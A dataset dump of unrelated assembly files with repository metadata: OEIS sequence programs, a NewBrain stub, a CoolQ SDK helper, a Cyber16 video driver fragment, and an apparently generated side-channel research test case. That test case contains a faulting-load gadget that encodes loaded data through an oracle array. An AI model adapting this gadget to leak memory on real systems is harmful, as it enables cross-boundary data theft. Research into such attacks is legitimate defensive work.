afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/151/A151783.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/151/A151783.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A151783: a(n) = 4^{wt(n)-1}.
; 1,1,4,1,4,4,16,1,4,4,16,4,16,16,64,1,4,4,16,4,16,16,64,4,16,16,64,16,64,64,256,1,4,4,16,4,16,16,64,4,16,16,64,16,64,64,256,4,16,16,64,16,64,64,256,16,64,64,256,64,256,256,1024,1,4,4,16,4,16,16,64,4,16,16,64,16,64
seq $0,48881 ; a(n) = A000120(n+1) - 1 = wt(n+1) - 1.
mov $1,4
pow $1,$0
mov $0,$1
| 41.25
| 214
| 0.578788
|
fcee0c11224b26b402e714ca2d79a5c050396d2a
| 700
|
asm
|
Assembly
|
programs/oeis/043/A043765.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/043/A043765.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/043/A043765.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A043765: Numbers n such that number of runs in the base 2 representation of n is congruent to 2 mod 10.
; 2,4,6,8,12,14,16,24,28,30,32,48,56,60,62,64,96,112,120,124,126,128,192,224,240,248,252,254,256,384,448,480,496,504,508,510,512,768,896,960,992,1008,1016,1020,1022,1024,1536,1792,1920
mov $8,$0
mov $10,2
lpb $10
clr $0,8
mov $0,$8
sub $0,1
mov $5,$0
mov $7,$0
add $7,1
sub $10,1
lpb $7
clr $0,5
mov $0,$5
sub $7,1
sub $0,$7
cal $0,25676 ; Exponent of 8 (value of i) in n-th number of form 8^i*9^j.
mov $4,2
pow $4,$0
add $1,$4
div $1,2
mul $1,2
sub $1,1
div $1,2
add $1,1
add $6,$1
lpe
lpe
mov $1,$6
mul $1,2
add $1,2
| 20.588235
| 184
| 0.58
|
1c7dca59825224fbbe8850cd4f439dc12ee47793
| 525
|
asm
|
Assembly
|
libsrc/newbrain/cpmzcall.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/newbrain/cpmzcall.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/newbrain/cpmzcall.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
;
; Grundy Newbrain Specific libraries
;
; Stefano Bodrato - 19/05/2007
;
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
;
; This function is linked only in the CP/M extension version
; it calls the ROM functions via the CP/M facility
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
;
; Used internally only
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
;
;
; $Id: cpmzcall.asm,v 1.2 2015/01/19 01:33:00 pauloscustodio Exp $
;
PUBLIC ZCALL
.ZCALL
jp $f4fb ; CPMZCALL
| 18.75
| 66
| 0.447619
|
759990dc5f70ef600d4408c726d68a9374064a03
| 2,860
|
asm
|
Assembly
|
cqasmsdk-release-1.0/tool.asm
|
frc123/CoolQ-Assembly-SDK
|
6df6928304935af32ebb3726aad3580841e08d23
|
[
"MIT"
] | 9
|
2020-04-10T06:12:40.000Z
|
2020-05-07T11:39:07.000Z
|
cqasmsdk-release-1.0/tool.asm
|
frc123/CoolQ-Assembly-SDK
|
6df6928304935af32ebb3726aad3580841e08d23
|
[
"MIT"
] | null | null | null |
cqasmsdk-release-1.0/tool.asm
|
frc123/CoolQ-Assembly-SDK
|
6df6928304935af32ebb3726aad3580841e08d23
|
[
"MIT"
] | null | null | null |
; CoolQ Assembly SDK
; MIT License
; Copyright (c) 2020 frc
; Email: i@frc6.com
; Email: frc@xiaorou.net.cn
; Blog: frc6.com
; QQ: 2093003592
; Documentation: https://github.com/frc123/CoolQ-Assembly-SDK/wiki
;取字符串长度,不包括终止符0
_getStringLength proc uses edx ebx esi ,lpszData
mov ebx,lpszData
xor esi,esi
@@: mov edx,[ebx+esi]
and edx,0ffh
cmp edx,0
je @F
inc esi
jmp @B
@@: mov eax,esi
ret
_getStringLength endp
_copyData proc uses ecx esi edi ,lpData,dwLength,lpRes
mov ecx,dwLength
mov esi,lpData
mov edi,lpRes
cld
rep movsb
ret
_copyData endp
_stringToInt32 proc uses edx ebx ,lpString
mov ebx,lpString
mov dl,[ebx+1]
mov dh,[ebx]
shl edx,16
mov dl,[ebx+3]
mov dh,[ebx+2]
mov eax,edx
ret
_stringToInt32 endp
_stringToInt16 proc uses edx ebx ,lpString
mov ebx,lpString
mov dl,[ebx+1]
mov dh,[ebx]
and edx,0ffffh
mov eax,edx
ret
_stringToInt16 endp
_base64Decode proc ,lpszEncodeData
local @dwDecodeLength:dword
local @lpDecodeData:dword
invoke CryptStringToBinaryA,lpszEncodeData,0,CRYPT_STRING_BASE64,NULL,addr @dwDecodeLength,NULL,NULL ;Get length of base64 decoded data
invoke HeapAlloc,hProcessHeap,HEAP_ZERO_MEMORY,@dwDecodeLength ;Allocate new memory for base64 decoded data
;注意:调用这个函数的主函数别忘记释放申请的内存
.if eax && (eax < 0c0000000h) ;Allocate successed
mov @lpDecodeData,eax
.else
xor eax,eax ;Allocate failed
ret
.endif
invoke CryptStringToBinaryA,lpszEncodeData,0,CRYPT_STRING_BASE64,@lpDecodeData,addr @dwDecodeLength,NULL,NULL ;Get base64 decoded data
.if eax
mov eax,@lpDecodeData ;Decode successed
.endif
ret
_base64Decode endp
_processHeapFree proc ,lpMemory
invoke HeapFree,hProcessHeap,HEAP_NO_SERIALIZE,lpMemory
ret
_processHeapFree endp
;返回的是带终止符0的
_storeStrInNewMem proc uses edx ,lpStr,dwStrLength
local @lpHeap
mov edx,dwStrLength ;edx中放长度,不包括终止符0
push edx ;暂时保存edx
add edx,1 ;edx中放长度,包括终止符0
invoke HeapAlloc,hProcessHeap,HEAP_ZERO_MEMORY,edx
;注意:调用这个函数的主函数别忘记释放申请的内存
.if eax && (eax < 0c0000000h)
mov @lpHeap,eax
.else
xor eax,eax
ret
.endif
pop edx ;edx中放长度,不包括终止符0
invoke _copyData,lpStr,edx,@lpHeap ;理论上,由于HEAP_ZERO_MEMORY,最后一个字符会自动为终止符0
mov eax,@lpHeap
ret
_storeStrInNewMem endp
_debugLoopShowByte proc uses ebx edx ,lpByte
local bOutput:byte
local dwShow:dword
push 'p%'
pop dwShow
mov ebx,lpByte
@@: invoke _copyData,ebx,1,addr bOutput
mov dl,bOutput
and edx,0ffh
invoke wsprintf,addr szBuffer,addr dwShow,edx
invoke MessageBox,NULL,addr szBuffer,addr szCaption,MB_OK
inc ebx
jmp @B
ret
_debugLoopShowByte endp
| 25.535714
| 138
| 0.687762
|
ac5275c5b213af8a8709b64a3f0860d6ad92eee4
| 6,445
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0.log_21829_1015.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0.log_21829_1015.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0.log_21829_1015.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r14
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x14786, %rsi
lea addresses_WT_ht+0x148d4, %rdi
nop
nop
nop
dec %r13
mov $11, %rcx
rep movsq
add $64364, %r10
lea addresses_WT_ht+0x3d86, %r10
dec %r13
mov $0x6162636465666768, %rcx
movq %rcx, %xmm7
movups %xmm7, (%r10)
nop
nop
nop
nop
nop
sub %rdi, %rdi
lea addresses_normal_ht+0xa786, %rdx
inc %rbp
movw $0x6162, (%rdx)
nop
nop
nop
nop
and $62523, %rbp
lea addresses_normal_ht+0x188f9, %r13
nop
dec %rbp
vmovups (%r13), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $0, %xmm0, %rcx
nop
nop
nop
nop
nop
add $33141, %rdi
lea addresses_D_ht+0x18f86, %r10
nop
nop
nop
add %rdx, %rdx
movb $0x61, (%r10)
nop
dec %r13
lea addresses_UC_ht+0xad86, %rcx
inc %rdi
and $0xffffffffffffffc0, %rcx
movaps (%rcx), %xmm7
vpextrq $0, %xmm7, %rdx
nop
nop
nop
nop
nop
sub %rbp, %rbp
lea addresses_A_ht+0x16026, %rbp
clflush (%rbp)
nop
nop
inc %rdi
movw $0x6162, (%rbp)
nop
inc %rbp
lea addresses_D_ht+0x15286, %rsi
lea addresses_normal_ht+0x6526, %rdi
nop
xor %r14, %r14
mov $69, %rcx
rep movsb
nop
nop
sub %rcx, %rcx
lea addresses_normal_ht+0xe186, %r14
nop
nop
nop
nop
add $61763, %rbp
movb (%r14), %dl
nop
nop
nop
nop
sub %rbp, %rbp
lea addresses_D_ht+0x15186, %rsi
lea addresses_normal_ht+0x1a33b, %rdi
and %rbp, %rbp
mov $62, %rcx
rep movsw
nop
nop
nop
nop
nop
cmp %r14, %r14
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r14
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r14
push %r15
push %r8
push %r9
push %rsi
// Faulty Load
lea addresses_D+0x3d86, %r14
and %r15, %r15
mov (%r14), %r8d
lea oracles, %rsi
and $0xff, %r8
shlq $12, %r8
mov (%rsi,%r8,1), %r8
pop %rsi
pop %r9
pop %r8
pop %r15
pop %r14
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_D', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_D', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': True, 'congruent': 7, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_WT_ht'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 16}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 2}}
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1}}
{'src': {'NT': True, 'same': True, 'congruent': 11, 'type': 'addresses_UC_ht', 'AVXalign': True, 'size': 16}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 5, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 2}}
{'src': {'same': False, 'congruent': 8, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_normal_ht'}}
{'src': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 10, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_normal_ht'}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 39.060606
| 2,999
| 0.659891
|
2d91d31386521e06270fdf2b59b867b0b459a03e
| 10,897
|
asm
|
Assembly
|
Driver/Video/VGAlike/Cyber16/cyber16Escape.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 504
|
2018-11-18T03:35:53.000Z
|
2022-03-29T01:02:51.000Z
|
Driver/Video/VGAlike/Cyber16/cyber16Escape.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 96
|
2018-11-19T21:06:50.000Z
|
2022-03-06T10:26:48.000Z
|
Driver/Video/VGAlike/Cyber16/cyber16Escape.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 73
|
2018-11-19T20:46:53.000Z
|
2022-03-29T00:59:26.000Z
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GlobalPC 1999. All rights reserved.
GLOBALPC CONFIDENTIAL
PROJECT: GlobalPC
MODULE: Cyber16 Video Driver
FILE: cyber16Escape.asm
AUTHOR: Allen Yuen, Mar 25, 1999
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
ayuen 3/25/99 Initial revision
DESCRIPTION:
Escape functions specifically for Cyber16
$Id$
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Cyber16GetHorizPosParams
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get the parameters for controlling horizontal image position
CALLED BY: VID_ESC_GET_HORIZ_POS_PARAMS
PASS: nothing
RETURN: dx = max value, or 0 if not in TV mode
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
In Cyber16, there are two registers to control the horizontal
position. Here are the rules that we must observe:
- The difference in the two register values must remain constant.
- Both register values must be within the range of
0 <= reg <= mask YIWSF_VALUE (we assume that mask YIWSF_VALUE
is the same as mask UVIWSF_VALUE)
- The legal increments of the register values is not necessary 1.
(Currently it is 2).
Moreover, in the positioning API, only one value is used to control
the positioning. However, the driver is free to decide how this one
value corresponds to the real value(s), if any, used to control the
hardware.
Therefore, we use this strategy in Cyber16:
- The register with the smaller initial value is the reference
register.
- The set of legal values of the reference register (init. value +-
i * increment) are mapped to the set of values n, n-1, n-2, ..., 2,
1, 0 used by the API. (The order is reversed because a higher
value used by the UI [e.g. slider GenValue] is usually associated
with the rightward direction, but a higher horizontal register
value actually moves the image to the left.)
- The value of the other register is calculated as a constant offset
to the value of the reference register.
REVISION HISTORY:
Name Date Description
---- ---- -----------
ayuen 3/25/99 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
.assert mask YIWSF_VALUE eq mask UIWSF_VALUE
.assert YINTWST_640x440_INIT_VALUE le UVINTWST_640x440_INIT_VALUE
Cyber16GetHorizPosParams proc near
clr dx ; assume not in TV mode
tst cs:[tvMode]
EC < WARNING_Z CANNOT_SET_HORIZ_VERT_POS_IN_NON_TV_MODE >
jz done ; => not in TV mode. Return 0
if ERROR_CHECK
push ax, cx
;
; Make sure the difference between UVINTWST and YINTWST didn't change.
;
mov dx, YINTWST
call ReadTVReg
andnf ax, mask YIWSF_VALUE ; ax = YINTWST
mov_tr cx, ax ; cx = YINTWST
mov dx, UVINTWST
call ReadTVReg
andnf ax, mask UIWSF_VALUE ; ax = UVINTWST
sub ax, cx ; ax = UVINTWST - YINTWST
Assert e, ax, <UVINTWST_640x440_INIT_VALUE - \
YINTWST_640x440_INIT_VALUE>
pop ax, cx
endif ; ERROR_CHECK
;
; Return max value for the API.
;
mov dx, (YINTWST_640x440_MAX_VALUE - YINTWST_640x440_MIN_VALUE) \
/ HORIZ_POS_INCREMENT
done:
ret
Cyber16GetHorizPosParams endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Cyber16GetVertPosParams
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get the parameters for controlling vertical image position
CALLED BY: VID_ESC_GET_VERT_POS_PARAMS
PASS: nothing
RETURN: dx = max value, or 0 if not in TV mode
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
Similar to strategy in Cyber16GetHorizPosParams, except that the
order of mapping numbers is not reversed.
REVISION HISTORY:
Name Date Description
---- ---- -----------
ayuen 3/25/99 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
.assert mask VSTF_VALUE eq mask VSPF_VALUE
.assert VSST_INIT_VALUE le VSSP_INIT_VALUE
Cyber16GetVertPosParams proc near
clr dx ; assume not in TV mode
tst cs:[tvMode]
EC < WARNING_Z CANNOT_SET_HORIZ_VERT_POS_IN_NON_TV_MODE >
jz done ; => not in TV mode. Return 0
if ERROR_CHECK
push ax, cx
;
; Make sure the difference between EVENVSSP and EVENVSST didn't change.
;
mov dx, EVENVSST
call ReadTVReg
andnf ax, mask VSTF_VALUE ; ax = EVENVSST
mov_tr cx, ax ; cx = EVENVSST
mov dx, EVENVSSP
call ReadTVReg
andnf ax, mask VSPF_VALUE ; ax = EVENVSSP
sub ax, cx
Assert e, ax, <VSSP_INIT_VALUE - VSST_INIT_VALUE>
;
; Make sure ODDVSST is still the same as EVENVSST.
;
mov dx, ODDVSST
call ReadTVReg
andnf ax, mask VSTF_VALUE ; ax = ODDVSST
Assert e, ax, cx
;
; Make sure the difference between ODDVSSP and EVENVSST didn't change.
;
mov dx, ODDVSSP
call ReadTVReg
andnf ax, mask VSPF_VALUE ; ax = ODDVSSP
sub ax, cx
Assert e, ax, <VSSP_INIT_VALUE - VSST_INIT_VALUE>
pop ax, cx
endif ; ERROR_CHECK
;
; Return max value for the API.
;
mov dx, (VSST_MAX_VALUE - VSST_MIN_VALUE) / VERT_POS_INCREMENT
done:
ret
Cyber16GetVertPosParams endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Cyber16SetHorizPos
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set the horizontal image position
CALLED BY: VID_ESC_SET_HORIZ_POS
PASS: ax = new value
RETURN: nothing
DESTROYED: ax
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
See strategy in Cyber16GetHorizPosParams
REVISION HISTORY:
Name Date Description
---- ---- -----------
ayuen 3/25/99 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
.assert mask YIWSF_VALUE eq mask UIWSF_VALUE
.assert YINTWST_640x440_INIT_VALUE le UVINTWST_640x440_INIT_VALUE
Cyber16SetHorizPos proc near
uses dx
.enter
tst cs:[tvMode]
EC < WARNING_Z CANNOT_SET_HORIZ_VERT_POS_IN_NON_TV_MODE >
jz done
;
; Calculate the corresponding YINTWST value for the passed value.
;
CheckHack <HORIZ_POS_INCREMENT eq 2>
shl ax ; ax *= HORIZ_POS_INCREMENT
sub ax, YINTWST_640x440_MAX_VALUE
neg ax
Assert record, ax, YIntWStFlags
;
; Write to YINTWST
;
push ax ; save new value
mov dx, YINTWST
call WriteTVReg
pop ax ; ax = new value
;
; Calculate the corresponding value for UVINTWST.
;
add ax, UVINTWST_640x440_INIT_VALUE - YINTWST_640x440_INIT_VALUE
Assert record , ax, UvIntWStFlags
mov dx, UVINTWST
call WriteTVReg
done:
.leave
ret
Cyber16SetHorizPos endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Cyber16SetVertPos
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set the vertical image position
CALLED BY: VID_ESC_SET_VERT_POS
PASS: ax = new value
RETURN: nothing
DESTROYED: ax
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
Similar to strategy in Cyber16SetHorizPos.
REVISION HISTORY:
Name Date Description
---- ---- -----------
ayuen 3/25/99 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
.assert mask VSTF_VALUE eq mask VSPF_VALUE
.assert VSST_INIT_VALUE le VSSP_INIT_VALUE
Cyber16SetVertPos proc near
uses dx
.enter
tst cs:[tvMode]
EC < WARNING_Z CANNOT_SET_HORIZ_VERT_POS_IN_NON_TV_MODE >
jz done
;
; Calculate the corresponding EVENVSST value for the passed value.
;
CheckHack <VERT_POS_INCREMENT eq 1>
; no need to multiply by VERT_POS_INCREMENT (= 1)
if VSST_MIN_VALUE gt 0
addnf ax, VSST_MIN_VALUE
endif
Assert record, ax, VsStFlags
;
; Write to EVENVSST and ODDVSST
;
push ax ; save new value
mov dx, EVENVSST
call WriteTVReg
pop ax ; ax = new value
push ax ; save new value
mov dx, ODDVSST
call WriteTVReg
pop ax ; ax = new value
;
; Calculate the corresponding value for EVENVSSP and ODDVSSP.
;
add ax, VSSP_INIT_VALUE - VSST_INIT_VALUE
Assert record, ax, VsSpFlags
push ax ; save new value
mov dx, EVENVSSP
call WriteTVReg
pop ax
mov dx, ODDVSSP
call WriteTVReg
done:
.leave
ret
Cyber16SetVertPos endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Cyber16SetTVSubcarrierFreq
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set which TV subcarrier frequency to use.
CALLED BY: VID_ESC_SET_TV_SUBCARRIER_FREQ
PASS: ax = zero if use default freq, non-zero if use
alternate freq.
RETURN: nothing
DESTROYED: nothing (ax allowed)
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ayuen 8/05/99 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ifidn PRODUCT, <> ; default version is NTSC
Cyber16SetTVSubcarrierFreq proc near
uses ax,bx,cx,dx,si,di,bp
.enter
tst cs:[tvMode]
jz done
CheckHack <FSC_NTSC_SPEC_VALUE shr 16 \
eq FSC_NTSC_FREEZE_CRAWLING_DOTS shr 16>
tst ax
mov ax, FSC_NTSC_SPEC_VALUE and 0xFFFF
jz write ; => was zero, use default
mov ax, FSC_NTSC_FREEZE_CRAWLING_DOTS and 0xFFFF
write:
mov dx, FSCLOW
call WriteTVReg
done:
.leave
ret
Cyber16SetTVSubcarrierFreq endp
endif ; PRODUCT, <>
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Cyber16SetBlackWhite
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Turns the display into black & white.
CALLED BY: VID_ESC_SET_BLACK_WHITE
PASS: ax = zero if display color, non-zero if display B&W.
RETURN: nothing
DESTROYED: nothing (ax allowed)
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ayuen 8/10/99 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
Cyber16SetBlackWhite proc near
uses ax,bx,cx,dx,si,di,bp
.enter
tst cs:[tvMode]
jz done
mov_tr cx, ax ; cx = zero if color
mov ax, GainFlags <GAIN_U_COLOR, GAIN_V_COLOR>
jcxz writeGain
CheckHack <GainFlags <GAIN_U_BW, GAIN_V_BW> eq 0>
clr ax ; ax = GainFlags <Gain_U_BW, GAIN_V_BW>
writeGain:
mov dx, GAIN
call WriteTVReg
